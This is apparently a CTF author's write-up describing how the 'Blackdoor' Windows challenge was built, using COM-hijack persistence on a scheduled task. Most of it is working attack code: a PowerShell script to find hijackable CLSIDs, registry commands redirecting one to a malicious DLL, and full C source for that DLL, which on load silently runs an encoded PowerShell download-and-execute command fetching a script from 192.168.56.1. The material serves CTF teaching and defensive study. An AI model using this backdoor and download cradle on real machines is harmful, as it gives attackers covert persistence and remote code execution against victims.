Featured image of post Blackdoor

Blackdoor

Writeup for the Blackdoor challenge I created for Midnight Flag CTF 2025 edition

This writeup is more an article about how I created this challenge, than how to solve it on the player’s side.
I really enjoyed creating it, it was like a Red Teaming challenge for me and I tried to make it a little complex for this CTF.
It is inspired by a lesson from the CRTO courses, about post-compromised host persistence.
You can find a very good writeup by @Niceclear from a defensive POV here.

Context:
ctfd.png
blackdoor-challenge.zip contains a Windows VM.
Now let’s see how to create this backdoor.

Hijack a COM object to point to your payload

  • The first step is to search for hijackable COM objects on the compromised machine:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
$Tasks = Get-ScheduledTask

foreach ($Task in $Tasks)
{
  if ($Task.Actions.ClassId -ne $null)
  {
    if ($Task.Triggers.Enabled -eq $true)
    {
      if ($Task.Principal.GroupId -eq "Users")
      {
        Write-Host "Task Name: " $Task.TaskName
        Write-Host "Task Path: " $Task.TaskPath
        Write-Host "CLSID: " $Task.Actions.ClassId
        Write-Host
      }
    }
  }
}

1.png
Here we’ll choose the “Calibration Loader” task, but a lot of other system tasks could be used (some of them don’t trigger at the same moment).

  • Get “Calibration Loader” implementation (by using its CLSID, which is the flag of the 2nd step):
1
2
3
4
5
6
PS C:\> Get-ChildItem -Path "Registry::HKCR\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}"

Name           Property
----           --------
InprocServer32 (default)      : C:\Windows\system32\MsCtfMonitor.dll
               ThreadingModel : Both
  • Create the necessary registry entries in HKCU and point them to a malicious payload (C:\Windows\System32\mscms2.dll, whose hash is the flag for the first step):
1
2
3
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{B210D694-C8DF-490D-9576-9E20CDBC20BD}"
PS C:\Users\Attacker> New-Item -Path "HKCU:Software\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}" -Name "InprocServer32" -Value "C:\Windows\System32\mscms2.dll"
PS C:\Users\Attacker> New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{B210D694-C8DF-490D-9576-9E20CDBC20BD}\InprocServer32" -Name "ThreadingModel" -Value "Both"
  • Now we can confirm the backdoor was created:
    2.png

Code for the DLL

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <windows.h>
#include <stdio.h>

void ExecStuff() 
{
    CHAR command[] = "powershell.exe -nop -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA1ADYALgAxAC8AZQB4AHAAbABvAGkAdAAuAHAAcwAxACcAKQA="; //IEX(New-Object Net.WebClient).downloadString('http://192.168.56.1/exploit.ps1')

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;

    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb         = sizeof(si);
    si.dwFlags    = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    if (CreateProcessA(
        NULL,
        command,
        NULL,
        NULL,
        FALSE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi))
    {
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            ExecStuff();
            break;
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

Compile on Linux: x86_64-w64-mingw32-gcc -shared -o mscms2.dll backdoor.c -Wall

Last updated on Apr 14, 2025 00:00 UTC